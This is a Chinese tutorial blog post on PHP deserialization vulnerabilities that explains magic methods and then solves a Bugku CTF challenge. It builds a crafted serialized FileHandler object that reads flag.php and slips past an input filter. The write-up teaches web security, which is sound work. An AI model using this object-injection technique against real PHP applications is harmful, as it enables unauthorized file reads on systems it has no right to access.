IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> WEB漏洞-反序列化之PHP&JAVA全解(上) -> 正文阅读

[PHP知识库]WEB漏洞-反序列化之PHP&JAVA全解(上)

在这里插入图片描述在这里插入图片描述

PHP 反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct()	//创建对象时触发
__destruct() 	//对象被销毁时触发
__call() 			//在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() 			//用于从不可访问的属性读取数据
__set() 			//用于将数据写入不可访问的属性
__isset() 		//在不可访问的属性上调用 isset()或 empty()触发
__unset() 		//在不可访问的属性上使用 unset()时触发
__invoke() 		//当脚本尝试将对象调用为函数时触发
__wakeup()    //当在反序列化时,php就会调用__wakeup方法(如果存在的话)

php序列化
s:3:“aaa”; 为序列化结果(s代表类型,3代表字符串个数。如果是int型,就是i,并且不显示个数例如i:123; )
在这里插入图片描述php反序列化
aaa 为反序列化结果
在这里插入图片描述

无类序列化小例子:

此处通过GET方式接收值存入变量str,再通过if进行判断,如果变量str的值反序列化的结果等于变量key中的值时,就输入falg

<?php 
include "flag.php";
$key="key";
$str=$_GET['str'];
if(unserialize($str)==="$key"){
	echo "$flag";
}
 ?>

访问当前页面并在url处通过GET方式提交参数,使提交的值进行反序列化后等于变量key中的值在这里插入图片描述
有类时,当序列化或反序列化,进行的操作会触发对应的魔术方法(如果魔术方法存在的话)

<?php
	class ABC{
    public $test;
    function __construct(){
        $test = 1;
        echo '调用了构造函数<br>';
    }
    function __destruct(){
        echo '调用了析构函数<br>';
    }
    function __wakeup(){
        echo '调用了苏醒函数<br>';
    }
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
?>

运行结果:
创建对象a
调用了构造函数
序列化
反序列化
调用了苏醒函数
对象快要死了!调用了析构函数
调用了析构函数

CTF真题

https://ctf.bugku.com/challenges#flag.php

$this是一个“伪对象”,代表当前所属类的当前对象。(就相当于对当前所属的类进行了一个new操作给$this $this=new FileHandler)

1、public:public表明该数据成员、成员函数是对所有用户开放的,所有用户都可以直接进行调用
2、private:private表示私有,私有的意思就是除了class自己之外,任何人都不可以直接使用。
3、protected:protected对于子女、朋友来说,就是public的,可以自由使用,没有任何限制,而对于其他的外部class,protected就变成private。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {//如果op的值等于1就执行write()方法
            $this->write();       
        } else if($this->op == "2") {//如果op的值等于2就执行read()方法
            $res = $this->read();
            $this->output($res);//把$res输出
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//file_get_contents — 将整个文件读入一个字符串
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")//如果op全等于2的话,就把op赋值为1。
            $this->op = "1";
        $this->content = "";//把content赋值为空字符串
        $this->process();//使用process方法
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {//通过is_valid函数对GET传过来的值进行检测
        $obj = unserialize($str);//把GET传过来的值进行反序列化,因为unserialize,所以会自动触发__destruct()魔术方法
    }

}

解析:(累死了)

1.当通过GET传入参数时,会用unserialize把传入的值进行反序列化,并执行__destruct()魔术方法。

2.如果op的值全等于(===)2就把op赋值为1,然后执行process()方法,判断op的值如果等于(==)1就进行write()方法中,如果op的值等于(==)2就进行read()的方法中。

3.因为此处要读取flag.php文件,所以自然是进入read()方法。又因为前面是通过===进行比较,后门是通过==进行比较,所以要让反序列化后op的结果即不(===)2又(==)2,所以op反序列化后的值可以是(int类型的2)或者(" 2" 中间有空格)‘

4.进入read()方法后,通过file_get_contents对filename的内容进行读入。因为我们的目标是对flag.php中的内容进行读取,所以必须让反序列化后filename的值等于flag.php(也就是用file_get_contents对flag.php进行读取)。

5.content的值是任意的,因为不管反序列化后content的值是什么,在__destruct时,都会把content赋值为空。

综上所述:

op反序列化后的值必须为int类型的2或者" 2"。
filename反序列化后的值必须为flag.php。
contents反序列化后的值任意。

所以要构建相对应的序列化代码得到序列化结果

<?php
class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = 2;
        $filename = "flag.php";
        $content = "Hello World!";
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$a=new FileHandler();
$b=serialize($a);
echo $b."\n";
var_dump(is_valid($b));
?>

结果:

O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}

我们需要自己给其中添加值,并且因为三个属性是protected类型,所以会生成chr(0)*chr(0)

O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}

但是is_valid()会对生产的payload进行检验,不能出现ascii小于32的字符。所以%00是通不过的。

这里利用的是php7.1+的版本对属性的类型不敏感,所以本地序列化时直接将属性类型改为public即可绕过。

结果:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

把序列化结果复制,通过GET方式给变量$str赋值后得到结果flag

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-07 13:32:08  更:2022-02-07 13:32:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 4:56:15-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计